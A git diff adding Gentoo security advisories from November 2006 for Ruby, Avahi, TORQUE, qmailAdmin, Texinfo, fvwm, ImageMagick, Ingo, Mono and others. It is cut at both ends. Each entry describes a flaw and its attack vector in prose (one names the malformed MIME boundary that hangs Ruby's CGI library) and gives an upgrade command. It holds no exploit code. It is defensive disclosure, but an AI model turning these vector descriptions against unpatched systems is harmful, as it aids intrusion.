+  <impact type="normal">
+    <p>
+    An attacker could cause a database error in various pages of a TikiWiki
+    instance by providing an empty sort_mode request variable, and gain
+    unauthorized access to credentials of the MySQL databases used by
+    TikiWiki. An attacker could also entice a user to browse to a specially
+    crafted URL that could run scripts in the scope of the user's browser.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All TikiWiki users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/tikiwiki-1.9.6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5702">CVE-2006-5702</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5703">CVE-2006-5703</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 10 Nov 2006 17:34:20 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 10 Nov 2006 18:20:06 +0000">
+    shellsage
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 13 Nov 2006 22:24:46 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200611-12.xml b/xml/htdocs/security/en/glsa/glsa-200611-12.xml
new file mode 100644
index 00000000..d6cc4d80
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200611-12.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200611-12">
+  <title>Ruby: Denial of Service vulnerability</title>
+  <synopsis>
+    The Ruby cgi.rb CGI library is vulnerable to a Denial of Service attack.
+  </synopsis>
+  <product type="ebuild">ruby</product>
+  <announced>November 20, 2006</announced>
+  <revised>June 11, 2009: 02</revised>
+  <bug>153497</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-lang/ruby" auto="yes" arch="*">
+      <unaffected range="ge">1.8.5-r3</unaffected>
+      <vulnerable range="lt">1.8.5-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Ruby is a dynamic, open source programming language with a focus on
+    simplicity and productivity.
+    </p>
+  </background>
+  <description>
+    <p>
+    Zed Shaw, Jeremy Kemper, and Jamis Buck of the Mongrel project reported
+    that the CGI library shipped with Ruby is vulnerable to a remote Denial
+    of Service by an unauthenticated user.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    The vulnerability can be exploited by sending the cgi.rb library an
+    HTTP request with multipart MIME encoding that contains a malformed
+    MIME boundary specifier beginning with "-" instead of "--". Successful
+    exploitation of the vulnerability causes the library to go into an
+    infinite loop waiting for additional nonexistent input.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Ruby users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/ruby-1.8.5-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5467">CVE-2006-5467</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Fri, 10 Nov 2006 13:03:41 +0000">
+    aetius
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 15 Nov 2006 21:17:28 +0000">
+    vorlon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200611-13.xml b/xml/htdocs/security/en/glsa/glsa-200611-13.xml
new file mode 100644
index 00000000..53744b12
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200611-13.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200611-13">
+  <title>Avahi: &quot;netlink&quot; message vulnerability</title>
+  <synopsis>
+    Avahi fails to verify the origin of netlink messages, which could allow
+    local users to spoof network changes.
+  </synopsis>
+  <product type="ebuild">avahi</product>
+  <announced>November 20, 2006</announced>
+  <revised>November 20, 2006: 01</revised>
+  <bug>154322</bug>
+  <access>local</access>
+  <affected>
+    <package name="net-dns/avahi" auto="yes" arch="*">
+      <unaffected range="ge">0.6.15</unaffected>
+      <vulnerable range="lt">0.6.15</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Avahi is a system that facilitates service discovery on a local
+    network.
+    </p>
+  </background>
+  <description>
+    <p>
+    Avahi does not check that the netlink messages come from the kernel
+    instead of a user-space process.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could exploit this vulnerability by crafting malicious
+    netlink messages and trick Avahi to react to fake network changes. This
+    could lead users to connect to untrusted services without knowing.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Avahi users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-dns/avahi-0.6.15&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5461">CVE-2006-5461</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 16 Nov 2006 11:46:25 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 16 Nov 2006 11:47:51 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 20 Nov 2006 08:40:32 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200611-14.xml b/xml/htdocs/security/en/glsa/glsa-200611-14.xml
new file mode 100644
index 00000000..b24e0720
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200611-14.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200611-14">
+  <title>TORQUE: Insecure temporary file creation</title>
+  <synopsis>
+    TORQUE creates temporary files in an insecure manner which could lead to
+    the execution of arbitrary code with elevated privileges.
+  </synopsis>
+  <product type="ebuild">torque</product>
+  <announced>November 20, 2006</announced>
+  <revised>November 24, 2006: 03</revised>
+  <bug>152104</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-cluster/torque" auto="yes" arch="*">
+      <unaffected range="ge">2.1.6</unaffected>
+      <vulnerable range="lt">2.1.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    TORQUE is a resource manager providing control over batch jobs and
+    distributed compute nodes.
+    </p>
+  </background>
+  <description>
+    <p>
+    TORQUE creates temporary files with predictable names. Please note that
+    the TORQUE package shipped in Gentoo Portage is not vulnerable in the
+    default configuration. Only systems with more permissive access rights
+    to the spool directory are vulnerable.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A local attacker could create links in the temporary file directory,
+    pointing to a valid file somewhere on the filesystem. This could lead
+    to the execution of arbitrary code with elevated privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Ensure that untrusted users don't have write access to the spool
+    directory.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All TORQUE users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-cluster/torque-2.1.6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5677">CVE-2006-5677</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 15 Nov 2006 20:45:04 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 16 Nov 2006 11:48:29 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 20 Nov 2006 08:31:55 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200611-15.xml b/xml/htdocs/security/en/glsa/glsa-200611-15.xml
new file mode 100644
index 00000000..28a2e294
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200611-15.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200611-15">
+  <title>qmailAdmin: Buffer overflow</title>
+  <synopsis>
+    qmailAdmin is vulnerable to a buffer overflow that could lead to the remote
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">qmailadmin</product>
+  <announced>November 21, 2006</announced>
+  <revised>November 21, 2006: 01</revised>
+  <bug>153896</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-mail/qmailadmin" auto="yes" arch="*">
+      <unaffected range="ge">1.2.10</unaffected>
+      <vulnerable range="lt">1.2.10</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    qmailAdmin is a free software package that provides a web interface for
+    managing a qmail system with virtual domains.
+    </p>
+  </background>
+  <description>
+    <p>
+    qmailAdmin fails to properly handle the "PATH_INFO" variable in
+    qmailadmin.c. The PATH_INFO is a standard CGI environment variable
+    filled with user supplied data.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could exploit this vulnerability by sending
+    qmailAdmin a maliciously crafted URL that could lead to the execution
+    of arbitrary code with the permissions of the user running qmailAdmin.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All qmailAdmin users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-mail/qmailadmin-1.2.10&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1141">CVE-2006-1141</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 15 Nov 2006 21:38:39 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 15 Nov 2006 21:39:01 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 20 Nov 2006 08:53:09 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200611-16.xml b/xml/htdocs/security/en/glsa/glsa-200611-16.xml
new file mode 100644
index 00000000..f95d9939
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200611-16.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200611-16">
+  <title>Texinfo: Buffer overflow</title>
+  <synopsis>
+    Texinfo is vulnerable to a buffer overflow that could lead to the execution
+    of arbitrary code.
+  </synopsis>
+  <product type="ebuild">texinfo</product>
+  <announced>November 21, 2006</announced>
+  <revised>November 21, 2006: 01</revised>
+  <bug>154316</bug>
+  <access>remote</access>
+  <affected>
+    <package name="sys-apps/texinfo" auto="yes" arch="*">
+      <unaffected range="ge">4.8-r5</unaffected>
+      <vulnerable range="lt">4.8-r5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Texinfo is the official documentation system of the GNU project.
+    </p>
+  </background>
+  <description>
+    <p>
+    Miloslav Trmac from Red Hat discovered a buffer overflow in the
+    "readline()" function of texindex.c. The "readline()" function is
+    called by the texi2dvi and texindex commands.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing a user to open a specially crafted Texinfo file, an
+    attacker could execute arbitrary code with the rights of the user
+    running Texinfo.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Texinfo users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-apps/texinfo-4.8-r5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4810">CVE-2006-4810</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 15 Nov 2006 21:23:53 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 15 Nov 2006 21:39:27 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 16 Nov 2006 14:40:00 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200611-17.xml b/xml/htdocs/security/en/glsa/glsa-200611-17.xml
new file mode 100644
index 00000000..13d5b080
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200611-17.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200611-17">
+  <title>fvwm: fvwm-menu-directory fvwm command injection</title>
+  <synopsis>
+    A flaw in fvwm-menu-directory may permit a local attacker to execute
+    arbitrary commands with the privileges of another user.
+  </synopsis>
+  <product type="ebuild">fvwm</product>
+  <announced>November 23, 2006</announced>
+  <revised>November 23, 2006: 01</revised>
+  <bug>155078</bug>
+  <access>local</access>
+  <affected>
+    <package name="x11-wm/fvwm" auto="yes" arch="*">
+      <unaffected range="ge">2.5.18-r1</unaffected>
+      <vulnerable range="lt">2.5.18-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    fvwm is a highly configurable virtual window manager for X11 desktops.
+    fvwm-menu-directory allows fvwm users to browse directories from within
+    fvwm.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy of the Gentoo Linux Security Audit Team discovered that
+    fvwm-menu-directory does not sufficiently sanitise directory names
+    prior to generating menus.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker who can convince an fvwm-menu-directory user to browse
+    a directory they control could cause fvwm commands to be executed with
+    the privileges of the fvwm user. Fvwm commands can be used to execute
+    arbitrary shell commands.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All fvwm users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-wm/fvwm-2.5.18-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5969">CVE-2006-5969</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 21 Nov 2006 05:59:03 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 21 Nov 2006 05:59:31 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 21 Nov 2006 11:10:22 +0000">
+    taviso
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200611-18.xml b/xml/htdocs/security/en/glsa/glsa-200611-18.xml
new file mode 100644
index 00000000..f9479719
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200611-18.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200611-18">
+  <title>TIN: Multiple buffer overflows</title>
+  <synopsis>
+    Multiple buffer overflows have been reported in TIN, possibly leading to
+    the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">tin</product>
+  <announced>November 24, 2006</announced>
+  <revised>November 24, 2006: 01</revised>
+  <bug>150229</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-nntp/tin" auto="yes" arch="*">
+      <unaffected range="ge">1.8.2</unaffected>
+      <vulnerable range="lt">1.8.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    TIN is a threaded NNTP and spool based UseNet newsreader for a variety
+    of platforms.
+    </p>
+  </background>
+  <description>
+    <p>
+    Urs Janssen and Aleksey Salow have reported multiple buffer overflows
+    in TIN. Additionally, the OpenPKG project has reported an allocation
+    off-by-one flaw which can lead to a buffer overflow.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a TIN user to read a specially crafted news
+    article, and execute arbitrary code with the rights of the user running
+    TIN.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All TIN users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-nntp/tin-1.8.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.openpkg.org/security/advisories/OpenPKG-SA-2006.005-tin.html">OpenPKG Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0804">CVE-2006-0804</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 21 Nov 2006 07:44:01 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 21 Nov 2006 07:44:13 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 21 Nov 2006 14:05:36 +0000">
+    shellsage
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200611-19.xml b/xml/htdocs/security/en/glsa/glsa-200611-19.xml
new file mode 100644
index 00000000..d4145afe
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200611-19.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200611-19">
+  <title>ImageMagick: PALM and DCM buffer overflows</title>
+  <synopsis>
+    ImageMagick improperly handles PALM and DCM images, potentially resulting
+    in the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">imagemagick</product>
+  <announced>November 24, 2006</announced>
+  <revised>November 24, 2006: 01</revised>
+  <bug>152672</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-gfx/imagemagick" auto="yes" arch="*">
+      <unaffected range="ge">6.3.0.5</unaffected>
+      <vulnerable range="lt">6.3.0.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ImageMagick is a software suite to create, edit, and compose bitmap
+    images, that can also read, write, and convert images in many other
+    formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    M. Joonas Pihlaja has reported that a boundary error exists within the
+    ReadDCMImage() function of coders/dcm.c, causing the improper handling
+    of DCM images. Pihlaja also reported that there are several boundary
+    errors in the ReadPALMImage() function of coders/palm.c, similarly
+    causing the improper handling of PALM images.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to open a specially crafted DCM or PALM
+    image with ImageMagick, and possibly execute arbitrary code with the
+    privileges of the user running ImageMagick.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ImageMagick users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/imagemagick-6.3.0.5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5456">CVE-2006-5456</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 21 Nov 2006 07:20:25 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 22 Nov 2006 15:07:36 +0000">
+    shellsage
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 24 Nov 2006 19:28:35 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200611-20.xml b/xml/htdocs/security/en/glsa/glsa-200611-20.xml
new file mode 100644
index 00000000..ce58680e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200611-20.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200611-20">
+  <title>GNU gv: Stack overflow</title>
+  <synopsis>
+    GNU gv improperly handles user-supplied data possibly allowing for the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">gv</product>
+  <announced>November 24, 2006</announced>
+  <revised>November 24, 2006: 01</revised>
+  <bug>154573</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/gv" auto="yes" arch="*">
+      <unaffected range="ge">3.6.2-r1</unaffected>
+      <vulnerable range="lt">3.6.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GNU gv is a viewer for PostScript and PDF documents.
+    </p>
+  </background>
+  <description>
+    <p>
+    GNU gv does not properly boundary check user-supplied data before
+    copying it into process buffers.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to open a specially crafted document
+    with GNU gv and execute arbitrary code with the rights of the user on
+    the system.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All gv users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/gv-3.6.2-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5864">CVE-2006-5864</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 21 Nov 2006 06:07:37 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 21 Nov 2006 14:27:05 +0000">
+    shellsage
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 24 Nov 2006 20:18:52 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200611-21.xml b/xml/htdocs/security/en/glsa/glsa-200611-21.xml
new file mode 100644
index 00000000..374b30d9
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200611-21.xml
@@ -0,0 +1,61 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200611-21">
+  <title>Kile: Incorrect backup file permission</title>
+  <synopsis>
+    Kile uses default permissions for backup files, potentially leading to
+    information disclosure.
+  </synopsis>
+  <product type="ebuild">kile</product>
+  <announced>November 27, 2006</announced>
+  <revised>November 27, 2006: 01</revised>
+  <bug>155613</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-editors/kile" auto="yes" arch="*">
+      <unaffected range="ge">1.9.2-r1</unaffected>
+      <vulnerable range="lt">1.9.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Kile is a TeX/LaTeX editor for KDE.
+    </p>
+  </background>
+  <description>
+    <p>
+    Kile fails to set the same permissions on backup files as on the
+    original file. This is similar to CVE-2005-1920.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A kile user may inadvertently grant access to sensitive information.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Kile users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-editors/kile-1.9.2-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1920">CVE-2005-1920</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Fri, 24 Nov 2006 10:25:19 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 27 Nov 2006 07:49:07 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200611-22.xml b/xml/htdocs/security/en/glsa/glsa-200611-22.xml
new file mode 100644
index 00000000..68ba056d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200611-22.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200611-22">
+  <title>Ingo H3: Folder name shell command injection</title>
+  <synopsis>
+    Ingo H3 is vulnerable to arbitrary shell command execution when handling
+    procmail rules.
+  </synopsis>
+  <product type="ebuild">horde-ingo</product>
+  <announced>November 27, 2006</announced>
+  <revised>November 27, 2006: 01</revised>
+  <bug>153927</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/horde-ingo" auto="yes" arch="*">
+      <unaffected range="ge">1.1.2</unaffected>
+      <vulnerable range="lt">1.1.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Ingo H3 is a generic frontend for editing Sieve, procmail, maildrop and
+    IMAP filter rules.
+    </p>
+  </background>
+  <description>
+    <p>
+    Ingo H3 fails to properly escape shell metacharacters in procmail
+    rules.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote authenticated attacker could craft a malicious rule which
+    could lead to the execution of arbitrary shell commands on the server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Don't use procmail with Ingo H3.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Ingo H3 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/horde-ingo-1.1.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5449">CVE-2006-5449</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 21 Nov 2006 06:42:39 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 24 Nov 2006 19:04:29 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 24 Nov 2006 19:46:46 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200611-23.xml b/xml/htdocs/security/en/glsa/glsa-200611-23.xml
new file mode 100644
index 00000000..c6a1b0be
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200611-23.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200611-23">
+  <title>Mono: Insecure temporary file creation</title>
+  <synopsis>
+    Mono is vulnerable to linking attacks, potentially allowing a local user to
+    overwrite arbitrary files.
+  </synopsis>
+  <product type="ebuild">mono</product>
+  <announced>November 28, 2006</announced>
+  <revised>November 28, 2006: 01</revised>
+  <bug>150264</bug>
+  <access>local</access>
+  <affected>
+    <package name="dev-lang/mono" auto="yes" arch="*">
+      <unaffected range="ge">1.1.13.8.1</unaffected>
+      <vulnerable range="lt">1.1.13.8.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mono provides the necessary software to develop and run .NET client and
+    server applications.
+    </p>
+  </background>
+  <description>
+    <p>
+    Sebastian Krahmer of the SuSE Security Team discovered that the
+    System.CodeDom.Compiler classes of Mono create temporary files with
+    insecure permissions.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create links in the temporary file directory,
+    pointing to a valid file somewhere on the filesystem. When an affected
+    class is called, this could result in the file being overwritten with
+    the rights of the user running the script.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mono users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/mono-1.1.13.8.1&quot;</code>
